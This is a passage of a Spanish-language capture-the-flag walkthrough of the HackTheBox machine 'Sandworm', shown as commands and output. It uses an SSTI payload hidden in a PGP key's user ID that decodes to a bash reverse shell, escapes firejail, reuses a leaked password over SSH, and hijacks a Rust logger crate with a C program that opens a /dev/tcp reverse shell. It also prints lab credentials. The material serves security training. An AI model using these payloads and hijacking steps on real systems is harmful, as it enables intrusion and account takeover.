LPNGlIt4MOzs6bN89uDE50LMh/R0FSEtfDaHLA/mmp5qcCe/E2eCRUM9f46COy+H
3D3kmv2f2DTDP5SMGGdhQRGE5EgZ3Bhm8xmFEFCk7M5oJduJYNvSaJ/0dsQpJemF
Y+nJCCR5zGtqA7QEt/kxNtR/ASKlnTvumd72WXwR/35K8mIww9Yu69X+mIFW5nEl
lycBdSGHFbpJbnP7dr4pg6q2p5/LYEtkbNUMYCB8kptJg0hg7+yeStzZH8zqAvdB
Y2RAXx+jQqRB3ZQueCLjF425XXzrG9A2xJURuowGCErP4vYAvM2NGBfeLgHCM4gK
8rxLkdKfllDApnduW57zyQouFV/00Q5d9BOZg60efmEYoEe3Duk+LK0Pk6NMvsyk
ir+cGmvKs/6ahup56SsJXpOIWGnhl3AJ/rTGxVXuEGQQzJGjOV+/TxbKoe3+14s0
340V2R+iDWWq4uEAEQEAAbSUe3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19f
Lm9zLnBvcGVuKCdlY2hvIFltRnphQ0FnTFdrZ1BpWWdMMlJsZGk5MFkzQXZNVEF1
TVRBdU1UY3VORFF2TkRRME5DQXdQaVl4IHwgYmFzZTY0IC1kIHwgYmFzaCcpLnJl
YWQoKSB9fSA8YXNkZkBzc2EuaHRiPokB1AQTAQoAPhYhBFERS+JIoFYjJfAX0jBP
5zYNHucHBQJkjzoAAhsDBQkDwmcABQsJCAcCBhUKCQgLAgQWAgMBAh4BAheAAAoJ
EDBP5zYNHucHJYML/0nUmDOcn/99i133HOBmB0mFmm63J3A/HxZCbGCw8uI7vGN6
x7b0mtCJp5VYfmk4i3ZwdtH2Rcmt6LE/E7pvUppl72ecs9SE3JJ40vJfQHGHfNTQ
GfjoK9FX0ciYHNMlZP3K0bKGdXD0r96tn0UgxjgUqbbPeHIn7ypSyKF/H729Ag73
62m3V33KfJpZYGaD0Mq0vTNS4Lp4oqS4/RUnQ5/v85CaFB9nhx/IqCX5yfUfMBdJ
zy0WuoreaBNmH6aHKM4ewWAfD/9BeGkRM1gI4Fl4uvHTfrO0/YoagDTZaHPPbT9S
zFa9E62fpLCtmPiAO/Su14qip1OP9hrNXc9IlqbANiKunLKaC9iBtPSls4iJX1lA
Qj+USgGXGxcTB7mFHnFOZQgNReNfyNkQmAKCv5sLBr7ebRYPpO0M5gzrIvdpvuq9
9V4p2RBbkZI+YrbSHMCAAF9ZNIgg0eOC/GysNJg7BP8cY/6eLVGf2ShI3O1MYepg
fnqGYN+yyZ9SvOWXHLkBjQRkjzoAAQwA0NlOiwxMBs1i+wXFa+jOQxHuZTM1xmmp
o3ICIYrM05IphRGfAmQ6bAL3fIDPQifkrkONIFyCexvD+nj/Nrh+7bMC9S0wqvdm
PHarkHWItuVn2CSs9i6XTQ08pN7JQok1hVWYnVL3eBs/Em8Uoe3AWznYUxHRF70k
Xwc6LQbpVc8tKmuLvz+87anOTfatozzwe5p2no/C49PrzY3j317nxnoI+Byle9X4
0kYZIg38b5xbS91G6cLDnE8Fd//CALxqIxQ0gytpxal4SIj5sw0np6UGZ9u84vAL
+YHRZ39N6hQ2xsH4hYBZd/YSL1B1Gyf+dNqeDLNVlhgldW+J+9Db7rFOaXIEzlt2
UKrMKueuxQs02OZxs+zAedFm+xQSVuqU7J5HmD0XACO8lpK1zAk5deZeoReOya0j
mOtw9L4YBUGnyxDQdPuv9vmVeaS05QNK+Tbx3h6daP00ABLy1ywrxE9Hn89HZXEY
2+IE/uHgrMghpAN4K/61kk0wi1s1qGcJABEBAAGJAbwEGAEKACYWIQRREUviSKBW
IyXwF9IwT+c2DR7nBwUCZI86AAIbDAUJA8JnAAAKCRAwT+c2DR7nByruDADB1lGq
jtbCOTUKTRffAOfooQFaqv2NRtNpkzWyWjjiloyzpsgNYeFFdHgJeivW5GpyQwdQ
RWRXnHYvVohB7/CRxUm8jiqiGHkYG35EfUac4mGWCVXeFFVnz3uIzxu/33SmX8wX
BV2QgDyNla57tdNKv02aDmIJvj1vMimdTTW9jAxu4+wJN/Xi1m1bLY37gyFfjm3A
hgL6pjv7NV65eq5N2tMmIMoE90nCXRw+oHQyAPnbMVe25yy3lyzQqrH4nKSS3+Ml
NwRaJY3Tb7aldD1IxK7fdeNGeo6iq9RyS00gIlqhwQWtVA5AGj7fwzABAWeBv57D
PrZi+uID2yx7NMJBNl57DmTj+zS6yA++1hf66jc46gcKT4qdPokpupAJj/OjLPF3
MtXB9Xcge//s2ISnhzxNyvRz/jMH2ps1LKoEZ5ek5adFrNkbjpQlTHXBv5Fx0yst
LUH0QNbriE8Sj55HUMpLM1VvGRJgFvNhNQ/rm5YAm80IyBMXnesGs0Ic8K4=
=Xp2f
-----END PGP PUBLIC KEY BLOCK-----
Ponemos la clave y el mensaje anteriores y luego tendremos una shell en nc
:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.218:56814.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$
Enumeración del sistema
Lo primero que notamos es que no tenemos script
, y ni siquiera which
:
atlas@sandworm:/var/www/html/SSA$ script /dev/null -c bash
script /dev/null -c bash
Could not find command-not-found database. Run 'sudo apt update' to populate it.
script: command not found
atlas@sandworm:/var/www/html/SSA$ which script
which script
Could not find command-not-found database. Run 'sudo apt update' to populate it.
which: command not found
Estos son los comandos disponibles:
atlas@sandworm:/var/www/html/SSA$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
atlas@sandworm:/var/www/html/SSA$ ls -la /bin/
ls -la /bin/
total 14304
drwxr-xr-x 2 nobody nogroup 340 Jun 17 19:01 .
drwxr-xr-x 14 nobody nogroup 4096 Jun 6 11:49 ..
-rwxr-xr-x 1 nobody nogroup 35328 Jun 17 19:01 base64
-rwxr-xr-x 1 nobody nogroup 35328 Jun 17 19:01 basename
-rwxr-xr-x 1 nobody nogroup 1396520 Jun 17 19:01 bash
-rwxr-xr-x 1 nobody nogroup 35280 Jun 17 19:01 cat
-rwxr-xr-x 1 nobody nogroup 125688 Jun 17 19:01 dash
-rwxr-xr-x 1 nobody nogroup 948 Jun 17 19:01 flask
-rwxr-xr-x 1 nobody nogroup 4898752 Jun 17 19:01 gpg
-rwxr-xr-x 1 nobody nogroup 1960456 Jun 17 19:01 gpg-agent
-rwxr-xr-x 1 nobody nogroup 35328 Jun 17 19:01 groups
-rwxr-xr-x 1 nobody nogroup 39424 Jun 17 19:01 id
-rwxr-xr-x 1 nobody nogroup 9047 Jun 17 19:01 lesspipe
-rwxr-xr-x 1 nobody nogroup 138208 Jun 17 19:01 ls
lrwxrwxrwx 1 nobody nogroup 19 Jun 17 19:01 python3 -> /usr/bin/python3.10
-rwxr-xr-x 1 nobody nogroup 5912968 Jun 17 19:01 python3.10
lrwxrwxrwx 1 nobody nogroup 13 Jun 17 19:01 sh -> /usr/bin/dash
Podemos obtener una TTY completa con python3
:
atlas@sandworm:/var/www/html/SSA$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<SA$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
Could not find command-not-found database. Run 'sudo apt update' to populate it.
reset: command not found
atlas@sandworm:/var/www/html/SSA$ export TERM=xterm
atlas@sandworm:/var/www/html/SSA$ export SHELL=bash
atlas@sandworm:/var/www/html/SSA$ stty rows 50 columns 158
Could not find command-not-found database. Run 'sudo apt update' to populate it.
stty: command not found
Parece que estamos en un entorno restringido. De hecho, no hay muchos procesos en ejecución:
atlas@sandworm:/var/www/html/SSA$ ls /proc
1 cmdline ioports modules sys
20 consoles irq mounts sysrq-trigger
3927255 cpuinfo kallsyms mpt sysvipc
3927258 crypto kcore mtrr thread-self
3927259 devices keys net timer_list
3927349 diskstats key-users pagetypeinfo tty
3927350 dma kmsg partitions uptime
3927365 driver kpagecgroup pressure version
43166 dynamic_debug kpagecount schedstat version_signature
43168 execdomains kpageflags scsi vmallocinfo
acpi fb loadavg self vmstat
bootconfig filesystems locks slabinfo zoneinfo
buddyinfo fs mdstat softirqs
bus interrupts meminfo stat
cgroups iomem misc swaps
Podemos echar un vistazo a los archivos cmdline
:
atlas@sandworm:/var/www/html/SSA$ cat /proc/1/cmdline; echo
/usr/local/bin/firejail--profile=webappflaskrun
atlas@sandworm:/var/www/html/SSA$ cat /proc/20/cmdline; echo
/usr/bin/python3/usr/local/sbin/flaskrun
atlas@sandworm:/var/www/html/SSA$ cat /proc/43166/cmdline; echo
gpg-agent--homedir/home/atlas/.gnupg--use-standard-socket--daemon
atlas@sandworm:/var/www/html/SSA$ cat /proc/43168/cmdline; echo
scdaemon--multi-server
atlas@sandworm:/var/www/html/SSA$ cat /proc/3927255/cmdline; echo
/bin/sh-cecho YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash
atlas@sandworm:/var/www/html/SSA$ cat /proc/3927258/cmdline; echo
bash
atlas@sandworm:/var/www/html/SSA$ cat /proc/3927259/cmdline; echo
bash-i
atlas@sandworm:/var/www/html/SSA$ cat /proc/3927349/cmdline; echo
python3-cimport pty; pty.spawn("/bin/bash")
atlas@sandworm:/var/www/html/SSA$ cat /proc/3927350/cmdline; echo
/bin/bash
Parece que el proceso principal está ejecutando:
/usr/local/bin/firejail --profile=webapp flask run
Entonces, tenemos una reverse shell de Flask, pero el servidor web se está ejecutando bajo firejail
. Por eso tenemos permisos restringidos.
Escapando de la jaula
Tenemos estos archivos en el directorio personal de atlas
:
atlas@sandworm:/var/www/html/SSA$ cd
atlas@sandworm:~$ ls -la
total 44
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 .
drwxr-xr-x 4 nobody nogroup 4096 May 4 15:19 ..
lrwxrwxrwx 1 nobody nogroup 9 Nov 22 2022 .bash_history -> /dev/null
-rw-r--r-- 1 atlas atlas 220 Nov 22 2022 .bash_logout
-rw-r--r-- 1 atlas atlas 3771 Nov 22 2022 .bashrc
drwxrwxr-x 2 atlas atlas 4096 Jun 6 08:49 .cache
drwxrwxr-x 3 atlas atlas 4096 Feb 7 10:30 .cargo
drwxrwxr-x 4 atlas atlas 4096 Jan 15 07:48 .config
drwx------ 4 atlas atlas 4096 Jun 18 17:11 .gnupg
drwxrwxr-x 6 atlas atlas 4096 Feb 6 10:33 .local
-rw-r--r-- 1 atlas atlas 807 Nov 22 2022 .profile
drwx------ 2 atlas atlas 4096 Feb 6 10:34 .ssh
En .config
tenemos esto:
atlas@sandworm:~$ ls -la .config
total 12
drwxrwxr-x 4 atlas atlas 4096 Jan 15 07:48 .
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 ..
dr-------- 2 nobody nogroup 40 Jun 17 19:01 firejail
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 httpie
atlas@sandworm:~$ ls -la .config/firejail/
ls: cannot open directory '.config/firejail/': Permission denied
atlas@sandworm:~$ ls -la .config/httpie/
total 12
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 .
drwxrwxr-x 4 atlas atlas 4096 Jan 15 07:48 ..
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 sessions
atlas@sandworm:~$ ls -la .config/httpie/sessions/
total 12
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 .
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 ..
drwxrwx--- 2 nobody atlas 4096 May 4 17:30 localhost_5000
atlas@sandworm:~$ ls -la .config/httpie/sessions/localhost_5000/
total 12
drwxrwx--- 2 nobody atlas 4096 May 4 17:30 .
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 ..
-rw-r--r-- 1 nobody atlas 611 May 4 17:26 admin.json
atlas@sandworm:~$ cat .config/httpie/sessions/localhost_5000/admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
Aquí vemos una contraseña de silentobserver
(quietLiketheWind22
). Este es válido para acceder a /admin
en la página web:
Pero podemos reutilizar esta contraseña en SSH y también funciona, porque silentobserver
es un usuario de sistema:
atlas@sandworm:~$ ls /home
atlas silentobserver
$ ssh silentobserver@ssa.htb
silentobserver@ssa.htb's password:
silentobserver@sandworm:~$ cat user.txt
6b30c59a59d5af42131e496ca03817b6
Movimiento lateral al usuario atlas
Podemos ver que hay un binario SUID llamado tipnet
y también firejail
:
silentobserver@sandworm:~$ find / -perm -4000 2>/dev/null
/opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
/opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
/usr/local/bin/firejail
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
/usr/bin/fusermount3
Existe un exploit para firejail
cuando es SUID, pero necesitamos convertirnos en atlas
ya que necesitamos pertenecer al grupo jailer
:
silentobserver@sandworm:~$ ls -l /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
silentobserver@sandworm:~$ cat /etc/group | grep jailer
jailer:x:1002:atlas
Tal vez tipnet
sea útil para eso:
silentobserver@sandworm:~$ ls -l /opt/tipnet/target/debug/tipnet
-rwsrwxr-x 2 atlas atlas 58755272 Jun 18 00:00 /opt/tipnet/target/debug/tipnet
Obsérvese que tenemos permisos de escritura bajo /opt/crates/logger
, que es un proyecto de Rust:
silentobserver@sandworm:~$ ls -la /opt
total 16
drwxr-xr-x 4 root root 4096 Jun 18 17:32 .
drwxr-xr-x 19 root root 4096 Jun 7 13:53 ..
drwxr-xr-x 3 root atlas 4096 May 4 17:26 crates
drwxr-xr-x 5 root atlas 4096 Jun 6 11:49 tipnet
silentobserver@sandworm:~$ ls -la /opt/crates
total 12
drwxr-xr-x 3 root atlas 4096 May 4 17:26 .
drwxr-xr-x 4 root root 4096 Jun 18 17:32 ..
drwxr-xr-x 5 atlas silentobserver 4096 May 4 17:08 logger
silentobserver@sandworm:~$ ls -la /opt/crates/logger
total 40
drwxr-xr-x 5 atlas silentobserver 4096 May 4 17:08 .
drwxr-xr-x 3 root atlas 4096 May 4 17:26 ..
-rw-r--r-- 1 atlas silentobserver 11644 May 4 17:11 Cargo.lock
-rw-r--r-- 1 atlas silentobserver 190 May 4 17:08 Cargo.toml
drwxrwxr-x 6 atlas silentobserver 4096 May 4 17:08 .git
-rw-rw-r-- 1 atlas silentobserver 20 May 4 17:08 .gitignore
drwxrwxr-x 2 atlas silentobserver 4096 May 4 17:12 src
drwxrwxr-x 3 atlas silentobserver 4096 May 4 17:08 target
silentobserver@sandworm:~$ ls -la /opt/crates/logger/src
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May 4 17:12 .
drwxr-xr-x 5 atlas silentobserver 4096 May 4 17:08 ..
-rw-rw-r-- 1 atlas silentobserver 732 May 4 17:12 lib.rs
Esto es lib.rs
:
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
Es un proyecto simple que registra mensajes en /opt/tipnet/access.log
:
silentobserver@sandworm:~$ tail /opt/tipnet/access.log
[2023-06-17 23:40:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:42:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:44:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:46:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:48:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:50:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:52:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:54:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:56:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:58:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
El otro proyecto es tipnet
:
silentobserver@sandworm:~$ ls -la /opt/tipnet
total 124
drwxr-xr-x 5 root atlas 4096 Jun 6 11:49 .
drwxr-xr-x 4 root root 4096 Jun 18 17:34 ..
-rw-rw-r-- 1 atlas atlas 41861 Jun 17 23:58 access.log
-rw-r--r-- 1 root atlas 46161 May 4 16:38 Cargo.lock
-rw-r--r-- 1 root atlas 288 May 4 15:50 Cargo.toml
drwxr-xr-- 6 root atlas 4096 Jun 6 11:49 .git
-rwxr-xr-- 1 root atlas 8 Feb 8 09:10 .gitignore
drwxr-xr-x 2 root atlas 4096 Jun 6 11:49 src
drwxr-xr-x 3 root atlas 4096 Jun 6 11:49 target
silentobserver@sandworm:~$ ls -la /opt/tipnet/src
total 16
drwxr-xr-x 2 root atlas 4096 Jun 6 11:49 .
drwxr-xr-x 5 root atlas 4096 Jun 6 11:49 ..
-rwxr-xr-- 1 root atlas 5795 May 4 16:55 main.rs
Esto es main.rs
:
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;
// We don't spy on you... much.
struct Entry {
timestamp: String,
target: String,
source: String,
data: String,
}
fn main() {
println!("
,,
MMP\"\"MM\"\"YMM db `7MN. `7MF' mm
P' MM `7 MMN. M MM
MM `7MM `7MMpdMAo. M YMb M .gP\"Ya mmMMmm
MM MM MM `Wb M `MN. M ,M' Yb MM
MM MM MM M8 M `MM.M 8M\"\"\"\"\"\" MM
MM MM MM ,AP M YMM YM. , MM
.JMML. .JMML. MMbmmd'.JML. YM `Mbmmd' `Mbmo
MM
.JMML.
");
let mode = get_mode();
if mode == "" {
return;
}
else if mode != "upstream" && mode != "pull" {
println!("[-] Mode is still being ported to Rust; try again later.");
return;
}
let mut conn = connect_to_db("Upstream").unwrap();
if mode == "pull" {
let source = "/var/www/html/SSA/SSA/submissions";
pull_indeces(&mut conn, source);
println!("[+] Pull complete.");
return;
}
println!("Enter keywords to perform the query:");
let mut keywords = String::new();
io::stdin().read_line(&mut keywords).unwrap();
if keywords.trim() == "" {
println!("[-] No keywords selected.\n\n[-] Quitting...\n");
return;
}
println!("Justification for the search:");
let mut justification = String::new();
io::stdin().read_line(&mut justification).unwrap();
// Get Username
let output = Command::new("/usr/bin/whoami")
.output()
.expect("nobody");
let username = String::from_utf8(output.stdout).unwrap();
let username = username.trim();
if justification.trim() == "" {
println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
return;
}
logger::log(username, keywords.as_str().trim(), justification.as_str());
search_sigint(&mut conn, keywords.as_str().trim());
}
fn get_mode() -> String {
let valid = false;
let mut mode = String::new();
while ! valid {
mode.clear();
println!("Select mode of usage:");
print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");
io::stdin().read_line(&mut mode).unwrap();
match mode.trim() {
"a" => {
println!("\n[+] Upstream selected");
return "upstream".to_string();
}
"b" => {
println!("\n[+] Muscular selected");
return "regular".to_string();
}
"c" => {
println!("\n[+] Tempora selected");
return "emperor".to_string();
}
"d" => {
println!("\n[+] PRISM selected");
return "square".to_string();
}
"e" => {
println!("\n[!] Refreshing indeces!");
return "pull".to_string();
}
"q" | "Q" => {
println!("\n[-] Quitting");
return "".to_string();
}
_ => {
println!("\n[!] Invalid mode: {}", mode);
}
}
}
return mode;
}
fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
let pool = Pool::new(url).unwrap();
let mut conn = pool.get_conn().unwrap();
return Ok(conn);
}
fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
let keywords: Vec<&str> = keywords.split(" ").collect();
let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");
for (i, keyword) in keywords.iter().enumerate() {
if i > 0 {
query.push_str("OR ");
}
query.push_str(&format!("data LIKE '%{}%' ", keyword));
}
let selected_entries = conn.query_map(
query,
|(timestamp, target, source, data)| {
Entry { timestamp, target, source, data }
},
).expect("Query failed.");
for e in selected_entries {
println!("[{}] {} ===> {} | {}",
e.timestamp, e.source, e.target, e.data);
}
}
fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
let paths = fs::read_dir(directory)
.unwrap()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
.map(|entry| entry.path());
let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
.unwrap();
let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
.unwrap();
let now = Utc::now();
for path in paths {
let contents = fs::read_to_string(path).unwrap();
let hash = Sha256::digest(contents.as_bytes());
let hash_hex = hex::encode(hash);
let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
if existing_entry.is_none() {
let date = now.format("%Y-%m-%d").to_string();
println!("[+] {}\n", contents);
conn.exec_drop(&stmt_insert, params! {
"timestamp" => date,
"data" => contents,
"hash" => &hash_hex,
},
).unwrap();
}
}
logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
}
Es un poco abrumador. De hecho, contiene dos vulnerabilidades, pero no son útiles:
- Inyección de código SQL (
format!("data LIKE '%{}%' ", keyword)
):
fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
let keywords: Vec<&str> = keywords.split(" ").collect();
let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");
for (i, keyword) in keywords.iter().enumerate() {
if i > 0 {
query.push_str("OR ");
}
query.push_str(&format!("data LIKE '%{}%' ", keyword));
}
let selected_entries = conn.query_map(
query,
|(timestamp, target, source, data)| {
Entry { timestamp, target, source, data }
},
).expect("Query failed.");
for e in selected_entries {
println!("[{}] {} ===> {} | {}",
e.timestamp, e.source, e.target, e.data);
}
}
- Lectura de archivos como
atlas
mediante symlinks:
fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
let paths = fs::read_dir(directory)
.unwrap()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
.map(|entry| entry.path());
// ...
for path in paths {
let contents = fs::read_to_string(path).unwrap();
let hash = Sha256::digest(contents.as_bytes());
let hash_hex = hex::encode(hash);
let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
if existing_entry.is_none() {
let date = now.format("%Y-%m-%d").to_string();
println!("[+] {}\n", contents);
conn.exec_drop(&stmt_insert, params! {
"timestamp" => date,
"data" => contents,
"hash" => &hash_hex,
},
).unwrap();
}
}
logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
El directorio es /var/www/html/SSA/SSA/submissions
, donde atlas
tiene permisos de lectura y escritura:
silentobserver@sandworm:~$ ls -la /var/www/html/SSA/SSA
total 44
drwxrwxr-x 7 atlas atlas 4096 Jun 7 15:18 .
drwxrwxr-x 3 root atlas 4096 May 4 14:58 ..
-rw-r--r-- 1 root atlas 6897 Jun 7 15:18 app.py
-rw-r--r-- 1 root atlas 746 May 4 17:45 __init__.py
-rw-r--r-- 1 root atlas 245 Feb 2 14:43 models.py
drwxr-xr-x 2 root atlas 4096 May 4 15:00 __pycache__
drwxr-xr-x 5 root atlas 4096 Jan 31 16:20 src
drwxr-xr-x 4 root atlas 4096 May 4 16:37 static
drwxr-xr-x 2 atlas atlas 4096 May 5 09:06 submissions
drwxr-xr-x 2 root atlas 4096 May 30 04:54 templates
Aunque atlas
está en la sandbox, el directorio anterior está disponible desde firejail
porque las opciones lo permiten:
silentobserver@sandworm:/opt/crates/logger$ cat /home/atlas/.config/firejail/webapp.profile
noblacklist /var/run/mysqld/mysqld.sock
hostname sandworm
seccomp
noroot
allusers
caps.drop dac_override,fowner,setuid,setgid
seccomp.drop chmod,fchmod,setuid
private-tmp
private-opt none
private-dev
private-bin /usr/bin/python3,/usr/local/bin/gpg,/bin/bash,/usr/bin/flask,/usr/local/sbin/gpg,/usr/bin/groups,/usr/bin/base64,/usr/bin/lesspipe,/usr/bin/basename,/usr/bin/filename,/usr/bin/bash,/bin/sh,/usr/bin/ls,/usr/bin/cat,/usr/bin/id,/usr/local/libexec/scdaemon,/usr/local/bin/gpg-agent
#blacklist ${HOME}/.ssh
#blacklist /opt
blacklist /home/silentobserver
whitelist /var/www/html/SSA
read-write /var/www/html/SSA/SSA/submissions
noexec /var/www/html/SSA/SSA/submissions
read-only ${HOME}
read-write ${HOME}/.gnupg
Library Hijacking
La clave para obtener acceso como atlas
es modificar el proyecto logger
, ya que se utiliza en tipnet
. Si ejecutamos pspy
para enumerar procesos de ejecución, veremos estos:
CMD: UID=0 PID=2326 | /bin/sudo -u atlas /usr/bin/cargo run --offline
CMD: UID=0 PID=2322 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
Entonces, atlas
está ejecutando el proyecto tipnet
, que llama a logger
por detrás. Nótese que el proyecto logger
no se reconstruye al ejecutar tipnet
. Por lo tanto, podemos agregar más código en lib.rs
y compilar el proyecto, de manera que tipnet
use una versión modificada de logger
que nos dé acceso como atlas
(fuera de la jaula).
Este es el archivo lib.rs
modificado:
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use std::process::Command;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let _output = Command::new("/dev/shm/x").output();
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
Intentaremos ejecutar un archivo en /dev/shm/x
. Para garantizar que ejecutamos comandos como atlas
, compilaremos un código en C para obtener una reverse shell:
silentobserver@sandworm:~$ cat > /dev/shm/x.c
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(1000);
system("bash -c 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1'");
return 0;
}
^C
silentobserver@sandworm:~$ gcc -o /dev/shm/x /dev/shm/x.c
Ahora modificamos el proyecto logger
y lo compilamos:
silentobserver@sandworm:/tmp$ cp /opt/crates/logger/src/lib.rs /tmp/lib.rs
silentobserver@sandworm:/tmp$ vi /tmp/lib.rs
silentobserver@sandworm:/tmp$ cp /tmp/lib.rs /opt/crates/logger/src/lib.rs
silentobserver@sandworm:/tmp$ cd /opt/crates/logger/
silentobserver@sandworm:/opt/crates/logger$ cargo build
Compiling autocfg v1.1.0
Compiling libc v0.2.142
Compiling num-traits v0.2.15
Compiling num-integer v0.1.45
Compiling time v0.1.45
Compiling iana-time-zone v0.1.56
Compiling chrono v0.4.24
Compiling logger v0.1.0 (/opt/crates/logger)
Finished dev [unoptimized + debuginfo] target(s) in 6.88s
En este punto, debemos esperar mientras escuchamos con nc
hasta que llegue la shell:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.218:46024.
bash: cannot set terminal process group (2322): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
atlas@sandworm:/opt/tipnet$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
atlas@sandworm:/opt/tipnet$ export TERM=xterm
atlas@sandworm:/opt/tipnet$ export SHELL=bash
atlas@sandworm:/opt/tipnet$ stty rows 50 columns 158
Ahora estamos fuera de la sandbox y pertenecemos al grupo jailer
:
atlas@sandworm:/opt/tipnet$ id
